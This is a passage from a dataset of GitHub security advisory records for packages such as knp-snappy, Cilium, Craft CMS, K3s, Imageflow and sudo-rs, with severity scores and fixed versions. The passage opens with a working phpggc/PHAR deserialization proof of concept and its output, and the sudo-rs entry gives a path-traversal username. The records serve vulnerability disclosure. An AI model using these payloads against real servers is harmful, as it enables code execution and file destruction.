To illustrate the vulnerability, the `/tmp/exploit` file will be written to the filesystem using a voluntarily added library to trigger the deserialization. The PHP archive is generated using [phpggc](https://github.com/ambionics/phpggc) with the `-f` option to force a fast destruct on the object. Otherwise, the PHP flow will stop on the first exception and the object destruction will not be called.
```bash
$ phpggc -f Monolog/RCE1 exec 'touch /tmp/exploit' -p phar -o exploit.phar
```
The following `index.php` file will be used to trigger the vulnerability via the payload `PHAR://exploit.phar`.
```bash
<?php
// index.php
// include autoloader
require __DIR__ . '/vendor/autoload.php';
// reference the snappy namespace
use Knp\Snappy\Pdf;
$snappy = new Pdf('/usr/local/bin/wkhtmltopdf');
$snappy->generateFromHtml('<h1>POC</h1>', 'PHAR://exploit.phar');
```
Finally once executed, the `/tmp/exploit` file is successfully created on the filesystem.
```bash
$ php index.php
Fatal error: Uncaught InvalidArgumentException: The output file 'PHAR://exploit.phar' already exists and it is a directory. in /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php:634
Stack trace:
#0 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php(178): Knp\Snappy\AbstractGenerator->prepareOutput('PHAR://exploit.phar', false)
#1 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/Pdf.php(36): Knp\Snappy\AbstractGenerator->generate(Array, 'PHAR://exploit.phar', Array, false)
#2 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php(232): Knp\Snappy\Pdf->generate(Array, 'PHAR://exploit.phar', Array, false)
#3 /var/www/index.php(12): Knp\Snappy\AbstractGenerator->generateFromHtml('<h1>POC</h1>', 'PHAR://exploit.phar')
#4 {main}
thrown in /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php on line 634
$ ls -l /tmp/exploit
-rw-r--r-- 1 user_exploit user_exploit 0 Jun 14 10:05 exploit
```
This proof of concept is based on the original one published with CVE-2023-28115.
### Impact
A successful exploitation of this vulnerability allows executing arbitrary code and accessing the underlying filesystem. The attacker must be able to upload a file and the server must be running a PHP version prior to 8.
## Patches
Synacktiv recommends to use a whitelist instead of a blacklist. In this situation, only the wrappers `http://`, `https://` or `file://` be available on the function `generateFromHtml()`.
## Workarounds
Control user data submitted to the function `AbstractGenerator->generate(...)`
## References
https://github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc
## Credits
Rémi Matasse of Synacktiv (https://synacktiv.com/).
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'knplabs/knp-snappy'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.4.3'}]}], 'database_specific': {'last_known_affected_version_range': '<= 1.4.2'}}]
|
[{'type': 'WEB', 'url': 'https://github.com/KnpLabs/snappy/security/advisories/GHSA-92rv-4j2h-8mjj'}, {'type': 'WEB', 'url': 'https://github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-41330'}, {'type': 'WEB', 'url': 'https://github.com/KnpLabs/snappy/commit/d3b742d61a68bf93866032c2c0a7f1486128b67e'}, {'type': 'PACKAGE', 'url': 'https://github.com/KnpLabs/snappy'}]
|
{'cwe_ids': ['CWE-502'], 'severity': 'CRITICAL', 'github_reviewed': True, 'github_reviewed_at': '2023-09-08T12:17:48Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-4xp2-w642-7mcx
|
2023-09-27T00:35:26Z
|
2023-09-27T00:35:26Z
| null |
['CVE-2023-41333']
|
Cilium vulnerable to bypass of namespace restrictions in CiliumNetworkPolicy
|
### Impact
An attacker with the ability to create or modify CiliumNetworkPolicy objects in a particular namespace is able to affect traffic on an entire Cilium cluster, potentially bypassing policy enforcement in other namespaces.
By using a crafted `endpointSelector` that uses the `DoesNotExist` operator on the `reserved:init` label, the attacker can create policies that bypass namespace restrictions and affect the entire Cilium cluster. This includes potentially allowing or denying all traffic.
This attack requires API server access, as described in the [Kubernetes API Server Attacker](https://docs.cilium.io/en/stable/security/threat-model/#kubernetes-api-server-attacker) section of the Cilium Threat Model.
### Patches
This issue was patched in https://github.com/cilium/cilium/pull/28007
This issue affects:
- Cilium <= v1.14.1
- Cilium <= v1.13.6
- Cilium <= v1.12.13
This issue has been resolved in:
- Cilium v1.14.2
- Cilium v1.13.7
- Cilium v1.12.14
### Workarounds
An admission webhook can be used to prevent the use of `endpointSelector`s that use the `DoesNotExist` operator on the `reserved:init` label in CiliumNetworkPolicies.
### Acknowledgements
The Cilium community has worked together with members of Palantir and Isovalent to prepare these mitigations. Special thanks to @odinuge for reporting this issue and @joestringer for the fix.
### For more information
If you have any questions or comments about this advisory, please reach out on [Slack](https://docs.cilium.io/en/latest/community/community/#slack).
If you think you have found a vulnerability in Cilium, we strongly encourage you to report it to our private security mailing list at [security@cilium.io](mailto:security@cilium.io) first, before disclosing it in any public forum. This is a private mailing list for Cilium's internal security team, and your report will be treated as top priority.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:H'}]
|
[{'package': {'ecosystem': 'Go', 'name': 'github.com/cilium/cilium'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.14.0'}, {'fixed': '1.14.2'}]}]}, {'package': {'ecosystem': 'Go', 'name': 'github.com/cilium/cilium'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.13.0'}, {'fixed': '1.13.7'}]}]}, {'package': {'ecosystem': 'Go', 'name': 'github.com/cilium/cilium'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.12.14'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/cilium/cilium/security/advisories/GHSA-4xp2-w642-7mcx'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-41333'}, {'type': 'WEB', 'url': 'https://github.com/cilium/cilium/pull/28007'}, {'type': 'WEB', 'url': 'https://docs.cilium.io/en/stable/security/threat-model/#kubernetes-api-server-attacker'}, {'type': 'PACKAGE', 'url': 'https://github.com/cilium/cilium'}]
|
{'cwe_ids': ['CWE-306'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-27T00:35:26Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-4w8r-3xrw-v25g
|
2023-09-20T21:28:24Z
|
2023-09-13T15:44:09Z
| null |
['CVE-2023-41892']
|
Craft CMS Remote Code Execution vulnerability
|
### Impact
This is a high-impact, low-complexity attack vector. Users running Craft installations before 4.4.15 are encouraged to update to at least that version to mitigate the issue.
### Mitigations
* This has been fixed in Craft 4.4.15. You should ensure you’re running at least that version.
* Refresh your security key in case it has already been captured. You can do that by running the `php craft setup/security-key` command and copying the updated `CRAFT_SECURITY_KEY` environment variable to all production environments.
* If you have any other private keys stored as environment variables (e.g., S3 or Stripe), refresh those as well.
* Out of an abundance of caution, you may want to force all your users to reset their passwords in case your database was compromised. You can do that by running `php craft resave/users --set passwordResetRequired --to "fn() => true"`.
### References
https://github.com/craftcms/cms/commit/c0a37e15cc925c473e60e27fe64054993b867ac1#diff-47dd43d86f85161944dfcce2e41d31955c4184672d9bd9d82b948c6b01b86476
https://github.com/craftcms/cms/commit/7359d18d46389ffac86c2af1e0cd59e37c298857
https://github.com/craftcms/cms/commit/a270b928f3d34ad3bd953b81c304424edd57355e
https://github.com/craftcms/cms/blob/develop/CHANGELOG.md#4415---2023-07-03-critical
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L'}]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'craftcms/cms'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '4.0.0-RC1'}, {'fixed': '4.4.15'}]}], 'database_specific': {'last_known_affected_version_range': '<= 4.4.14'}}]
|
[{'type': 'WEB', 'url': 'https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-41892'}, {'type': 'WEB', 'url': 'https://github.com/craftcms/cms/commit/7359d18d46389ffac86c2af1e0cd59e37c298857'}, {'type': 'WEB', 'url': 'https://github.com/craftcms/cms/commit/a270b928f3d34ad3bd953b81c304424edd57355e'}, {'type': 'WEB', 'url': 'https://github.com/craftcms/cms/commit/c0a37e15cc925c473e60e27fe64054993b867ac1'}, {'type': 'WEB', 'url': 'https://github.com/craftcms/cms/commit/c0a37e15cc925c473e60e27fe64054993b867ac1#diff-47dd43d86f85161944dfcce2e41d31955c4184672d9bd9d82b948c6b01b86476'}, {'type': 'PACKAGE', 'url': 'https://github.com/craftcms/cms'}, {'type': 'WEB', 'url': 'https://github.com/craftcms/cms/blob/develop/CHANGELOG.md#4415---2023-07-03-critical'}]
|
{'cwe_ids': ['CWE-94'], 'severity': 'CRITICAL', 'github_reviewed': True, 'github_reviewed_at': '2023-09-13T15:44:09Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-4f74-84v3-j9q5
|
2023-09-27T15:42:30Z
|
2023-09-26T18:55:24Z
| null |
['CVE-2023-41335']
|
matrix-synapse vulnerable to temporary storage of plaintext passwords during password changes
|
### Impact
When users update their passwords, the new credentials may be briefly held in the server database. While this doesn't grant the server any added capabilities—it already learns the users' passwords as part of the authentication process—it does disrupt the expectation that passwords won't be stored in the database. As a result, these passwords could inadvertently be captured in database backups for a longer duration.
These temporarily stored passwords are automatically erased after a 48-hour window.
### Patches
https://github.com/matrix-org/synapse/pull/16272
### References
This bug was due to a regression in https://github.com/matrix-org/synapse/pull/13188.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:L/I:L/A:N'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'matrix-synapse'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.66.0'}, {'fixed': '1.93.0'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/matrix-org/synapse/security/advisories/GHSA-4f74-84v3-j9q5'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-41335'}, {'type': 'WEB', 'url': 'https://github.com/matrix-org/synapse/pull/13188'}, {'type': 'WEB', 'url': 'https://github.com/matrix-org/synapse/pull/16272'}, {'type': 'WEB', 'url': 'https://github.com/matrix-org/synapse/commit/69b74d9330e42fc91a9c7423d00a06cd6d3732bf'}, {'type': 'PACKAGE', 'url': 'https://github.com/matrix-org/synapse'}]
|
{'cwe_ids': ['CWE-312'], 'severity': 'LOW', 'github_reviewed': True, 'github_reviewed_at': '2023-09-26T18:55:24Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-6jmw-6mxw-w4jc
|
2023-09-14T16:41:57Z
|
2023-09-13T15:31:14Z
| null |
['CVE-2023-39914']
|
BER/CER/DER decoder panics on invalid input
|
NLnet Labs’ bcder library up to and including version 0.7.2 panics while decoding certain invalid input data rather than rejecting the data with an error. This can affect both the actual decoding stage as well as accessing content of types that utilized delayed decoding.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H'}]
|
[{'package': {'ecosystem': 'crates.io', 'name': 'bcder'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.7.3'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-39914'}, {'type': 'WEB', 'url': 'https://github.com/NLnetLabs/bcder/commit/4da91c3fd853e3d466d8581cf1d82b7f3255de56'}, {'type': 'PACKAGE', 'url': 'https://github.com/NLnetLabs/bcder'}, {'type': 'WEB', 'url': 'https://nlnetlabs.nl/downloads/bcder/CVE-2023-39914.txt'}, {'type': 'WEB', 'url': 'https://rustsec.org/advisories/RUSTSEC-2023-0062.html'}]
|
{'cwe_ids': ['CWE-228'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-09-14T16:41:57Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-m4hf-6vgr-75r2
|
2023-09-20T21:09:28Z
|
2023-09-11T13:47:08Z
| null |
['CVE-2023-32187']
|
K3s apiserver port is vulnerable to unauthenticated remote denial-of-service (DoS) attack via TLS SAN stuffing attack
|
### Impact
An issue was found in K3s where an attacker with network access to K3s servers' apiserver/supervisor port (TCP 6443) can force the TLS server to add entries to the certificate's Subject Alternative Name (SAN) list, through a stuffing attack, until the certificate grows so large that it exceeds the maximum size allowed by TLS client implementations. OpenSSL for example will raise an `excessive message size` error when this occurs. No authentication is necessary to perform this attack, only the ability to perform a TLS handshake against the apiserver/supervisor port (TCP 6443).
Affected servers will continue to operate, but clients (including both external administrative access with `kubectl` and server or agent nodes) will fail to establish new connections, thus leading to a denial of service (DoS) attack.
### Remediation
Upgrade to a fixed release:
- v1.28.1+k3s1
- v1.27.5+k3s1
- v1.26.8+k3s1
- v1.25.13+k3s1
- v1.24.17+k3s1
If you are using K3s 1.27 or earlier, you must also add the parameter `tls-san-security: true` to the K3s configuration to enable enhanced security for the supervisor's TLS SAN list. This option defaults to `true` starting with K3s 1.28.
Note that this flag changes the behavior of K3s servers. You should ensure that you configure `node-external-ip` on servers that will be connected to via an external IP, and add `tls-san` entries for any load-balancers or VIP addresses that will be associated with the supervisor port. External IPs and load-balancer/VIP addresses will no longer be added to the supervisor certificate's SAN list unless explicitly configured.
### Mitigation
If you cannot upgrade to a fixed release, the certificate can be "frozen" by running the following command against the cluster:
```shell
kubectl annotate secret -n kube-system k3s-serving listener.cattle.io/static=true
```
**⚠️ IMPORTANT CAUTION:** Note that this mitigation will prevent the certificate from adding new SAN entries when servers join the cluster, and automatically renewing itself when it is about to expire. If you do this, you should delete the annotation when adding new servers to the cluster, or when the certificate is within 90 days of expiring, so that it can be updated. Once that is done, you can freeze it again.
Affected certificates can be reset by performing the following steps:
1. Run `kubectl --server https://localhost:6444 delete secret -n kube-system k3s-serving`
2. Delete `/var/lib/rancher/k3s/server/tls/dynamic-cert.json` from all servers, and restart the `k3s` service.
### Background
The K3s apiserver/supervisor listener on port TCP 6443 and uses the `rancher/dynamiclistener` library to dynamically generate TLS certificates that contain TLS Subject Alternative Names (SAN) for any host name or IP address requested by a client. This is done to allow servers and external load-balancers to be added to the cluster without the administrator having to explicitly know and configure in advance a fixed list of endpoints that the supervisor may be hosted at.
The library allows the embedding application to configure a callback that is used to filter addresses requested by clients; but this was not previously implemented in K3s.
### For more information
If you have any questions or comments about this advisory:
- Reach out to the [K3s Security team](https://github.com/k3s-io/k3s/security/policy) for security related inquiries.
- Open an issue in the [K3s](https://github.com/k3s-io/k3s/issues/new/choose) repository.
- Verify with our [support matrix](https://www.suse.com/suse-k3s/support-matrix/all-supported-versions) and [product support lifecycle](https://www.suse.com/lifecycle/#k3s).
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H'}]
|
[{'package': {'ecosystem': 'Go', 'name': 'github.com/k3s-io/k3s'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.24.17'}]}]}, {'package': {'ecosystem': 'Go', 'name': 'github.com/k3s-io/k3s'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.25.0'}, {'fixed': '1.25.13'}]}]}, {'package': {'ecosystem': 'Go', 'name': 'github.com/k3s-io/k3s'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.26.0'}, {'fixed': '1.26.8'}]}]}, {'package': {'ecosystem': 'Go', 'name': 'github.com/k3s-io/k3s'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.27.0'}, {'fixed': '1.27.5'}]}]}, {'package': {'ecosystem': 'Go', 'name': 'github.com/k3s-io/k3s'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.28.0'}, {'fixed': '1.28.1'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/k3s-io/k3s/security/advisories/GHSA-m4hf-6vgr-75r2'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-32187'}, {'type': 'WEB', 'url': 'https://bugzilla.suse.com/show_bug.cgi?id=CVE-2023-32187https://'}, {'type': 'PACKAGE', 'url': 'https://github.com/k3s-io/k3s'}]
|
{'cwe_ids': ['CWE-770'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-09-11T13:47:08Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-7vpr-3ppw-qrpj
|
2023-09-27T21:16:16Z
|
2023-09-27T21:16:16Z
| null |
[]
|
Imageflow affected by libwebp zero-day and should not be used with malicious source images.
|
### Impact
This vulnerability affects deployments of Imageflow that involve decoding or processing malicious source .webp files. If you only process your own trusted files, this should not affect you (but you should update anyway).
Imageflow relies on Google's [libwebp] library to decode .webp images, and is affected by the recent zero-day out-of-bounds write vulnerability [CVE-2023-4863](https://nvd.nist.gov/vuln/detail/CVE-2023-4863) and https://github.com/advisories/GHSA-j7hp-h8jx-5ppr. The libwebp vulnerability also affects Chrome, Android, macOS, and other consumers of the library).
libwebp patched [the vulnerability](https://github.com/webmproject/libwebp/commit/2af26267cdfcb63a88e5c74a85927a12d6ca1d76 ) and released [1.3.2](https://github.com/webmproject/libwebp/releases/tag/v1.3.2)
This was patched in [libwebp-sys in 0.9.3 and 0.9.4](https://github.com/NoXF/libwebp-sys/commits/master)
**[Imageflow v2.0.0-preview8](https://github.com/imazen/imageflow/releases/tag/v2.0.0-preview8) uses the patched version of libwebp as well as updated versions of all dependencies.**
Note: preview 8 requires libc 2.31 or higher on linux and macOS 11 or higher. These restrictions are due to the oldest supported versions of those platforms (which is reflected on Github Actions).
### Patches
**Imageflow v2.0.0-preview8 use the patched version (v1.3.2) of libwebp and libwebp-sys 0.9.4.**
**Imageflow.AllPlatforms 0.10.2 is patched**
**Imageflow.Server v0.8.2 is patched**
**ImageResizer.Plugins.Imageflow 5.0.12 is patched**
### Workarounds
Disable webp decoding using `EnabledCodecs::disable_decoder(NamedDecoders::WebPDecoder)` if using the Rust API.
Only files that meet the following criteria will be passed to libwebp:
```rust
bytes.starts_with(b"RIFF") && bytes[8..12].starts_with(b"WEBP")
```
You can utilize matching logic to block webp inputs in your language of choice.
### References
https://github.com/advisories/GHSA-j7hp-h8jx-5ppr
https://nvd.nist.gov/vuln/detail/CVE-2023-4863
https://github.com/webmproject/libwebp/commit/2af26267cdfcb63a88e5c74a85927a12d6ca1d76
https://github.com/NoXF/libwebp-sys/commits/master
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'NuGet', 'name': 'Imageflow.AllPlatforms'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.10.2'}]}]}, {'package': {'ecosystem': 'NuGet', 'name': 'Imageflow.NativeRuntime.win-x86_64'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.0.0-preview8'}]}]}, {'package': {'ecosystem': 'NuGet', 'name': 'Imageflow.NativeRuntime.osx-x86_64'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.0.0-preview8'}]}]}, {'package': {'ecosystem': 'NuGet', 'name': 'Imageflow.NativeRuntime.win-x86'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.0.0-preview8'}]}]}, {'package': {'ecosystem': 'NuGet', 'name': 'Imageflow.NativeRuntime.ubuntu-x86_64'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.0.0-preview8'}]}]}, {'package': {'ecosystem': 'NuGet', 'name': 'Imageflow.NativeRuntime.ubuntu-x86_64-haswell'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.0.0-preview8'}]}]}, {'package': {'ecosystem': 'NuGet', 'name': 'Imageflow.NativeTool.win-x86_64'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.0.0-preview8'}]}]}, {'package': {'ecosystem': 'NuGet', 'name': 'Imageflow.NativeTool.osx-x86_64'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.0.0-preview8'}]}]}, {'package': {'ecosystem': 'NuGet', 'name': 'Imageflow.NativeTool.win-x86'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.0.0-preview8'}]}]}, {'package': {'ecosystem': 'NuGet', 'name': 'Imageflow.NativeTool.ubuntu-x86_64'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.0.0-preview8'}]}]}, {'package': {'ecosystem': 'NuGet', 'name': 'Imageflow.NativeTool.ubuntu-x86_64-haswell'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.0.0-preview8'}]}]}, {'package': {'ecosystem': 'NuGet', 'name': 'Imageflow.NativeRuntime.ubuntu_18_04-x86_64-haswell'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}]}], 'database_specific': {'last_known_affected_version_range': '< 2.0.0-preview8'}}, {'package': {'ecosystem': 'NuGet', 'name': 'Imageflow.NativeRuntime.ubuntu_18_04-x86_64'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}]}], 'database_specific': {'last_known_affected_version_range': '< 2.0.0-preview8'}}, {'package': {'ecosystem': 'NuGet', 'name': 'Imageflow.NativeRuntime.osx_10_11-x86_64'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}]}], 'database_specific': {'last_known_affected_version_range': '< 2.0.0-preview8'}}, {'package': {'ecosystem': 'NuGet', 'name': 'Imageflow.NativeRuntime.ubuntu_16_04-x86_64'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}]}], 'database_specific': {'last_known_affected_version_range': '< 2.0.0-preview8'}}, {'package': {'ecosystem': 'NuGet', 'name': 'Imageflow.NativeTool.ubuntu_18_04-x86_64-haswell'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}]}], 'database_specific': {'last_known_affected_version_range': '< 2.0.0-preview8'}}, {'package': {'ecosystem': 'NuGet', 'name': 'Imageflow.NativeTool.ubuntu_16_04-x86_64'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}]}], 'database_specific': {'last_known_affected_version_range': '< 2.0.0-preview8'}}, {'package': {'ecosystem': 'NuGet', 'name': 'Imageflow.NativeTool.ubuntu_18_04-x86_64'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}]}], 'database_specific': {'last_known_affected_version_range': '< 2.0.0-preview8'}}, {'package': {'ecosystem': 'NuGet', 'name': 'Imageflow.NativeTool.osx_10_11-x86_64'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}]}], 'database_specific': {'last_known_affected_version_range': '< 2.0.0-preview8'}}, {'package': {'ecosystem': 'NuGet', 'name': 'Imageflow.Server'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.8.2'}]}]}, {'package': {'ecosystem': 'NuGet', 'name': 'ImageResizer.Plugins.Imageflow'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '5.0.12'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/imazen/imageflow/security/advisories/GHSA-7vpr-3ppw-qrpj'}, {'type': 'WEB', 'url': 'https://github.com/imazen/imageflow/commit/24894940403a8491fd6495759b8f996ea2da8ad8'}, {'type': 'PACKAGE', 'url': 'https://github.com/imazen/imageflow'}]
|
{'cwe_ids': [], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-09-27T21:16:16Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-jcr6-4frq-9gjj
|
2023-09-13T14:04:07Z
|
2023-09-11T20:43:31Z
| null |
[]
|
Users vulnerable to unaligned read of `*const *const c_char` pointer
|
Affected versions dereference a potentially unaligned pointer. The pointer is commonly unaligned in practice, resulting in undefined behavior.
In some build modes, this is observable as a panic followed by abort. In other build modes the UB may manifest in some other way, including the possibility of working correctly in some architectures.
The crate is not currently maintained, so a patched version is not available.
## Recommended alternatives
- [`uzers`](https://crates.io/crates/uzers) (an actively maintained fork of the `users` crate)
- [`sysinfo`](https://crates.io/crates/sysinfo)
|
[]
|
[{'package': {'ecosystem': 'crates.io', 'name': 'users'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '0.11.0'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/ogham/rust-users/issues/55'}, {'type': 'PACKAGE', 'url': 'https://github.com/ogham/rust-users'}, {'type': 'WEB', 'url': 'https://rustsec.org/advisories/RUSTSEC-2023-0059.html'}]
|
{'cwe_ids': [], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-11T20:43:31Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-2r3c-m6v7-9354
|
2023-09-21T17:07:15Z
|
2023-09-21T17:07:15Z
| null |
['CVE-2023-42456']
|
sudo-rs Session File Relative Path Traversal vulnerability
|
### Background
Sudo-rs allows users to not have to enter authentication at every sudo attempt, but instead only requiring authentication every once in a while in every terminal or process group. Only once a configurable timeout has passed will the user have to re-authenticate themselves. Supporting this functionality is a set of session files (timestamps) for each user, stored in `/var/run/sudo-rs/ts`. These files are named according to the username from which the sudo attempt is made (the origin user).
### Impact
An issue was discovered where usernames containing the `.` and `/` characters could result in the corruption of specific files on the filesystem. As usernames are generally not limited by the characters they can contain, a username appearing to be a relative path can be constructed. For example we could add a user to the system containing the username `../../../../bin/cp`. When logged in as a user with that name, that user could run `sudo -K` to clear their session record file. The session code then constructs the path to the session file by concatenating the username to the session file storage directory, resulting in a resolved path of `/bin/cp`. The code then clears that file, resulting in the `cp` binary effectively being removed from the system.
An attacker needs to be able to login as a user with a constructed username. Given that such a username is unlikely to exist on an existing system, they will also need to be able to create the users with the constructed usernames.
### Patches
The bug is fixed in version 0.2.1 of sudo-rs. Sudo-rs now uses the uid for the user instead of their username for determining the filename. Note that an upgrade to this version will result in existing session files being ignored and users will be forced to re-authenticate. It also fully eliminates any possibility of path traversal, given that uids are always integer values.
### Workarounds
The `sudo -K` and `sudo -k` commands can run, even if a user has no sudo access. Make sure that your system does not contain any users with a specially crafted username. While this is the case and while untrusted users do not have the ability to create arbitrary users on your system you should not be able to exploit this issue.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:L'}]
|
[{'package': {'ecosystem': 'crates.io', 'name': 'sudo-rs'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.2.1'}]}], 'database_specific': {'last_known_affected_version_range': '<= 0.2.0'}}]
|
[{'type': 'WEB', 'url': 'https://github.com/memorysafety/sudo-rs/security/advisories/GHSA-2r3c-m6v7-9354'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-42456'}, {'type': 'WEB', 'url': 'https://github.com/memorysafety/sudo-rs/commit/bfdbda22968e3de43fa8246cab1681cfd5d5493d'}, {'type': 'PACKAGE', 'url': 'https://github.com/memorysafety/sudo-rs'}]
|
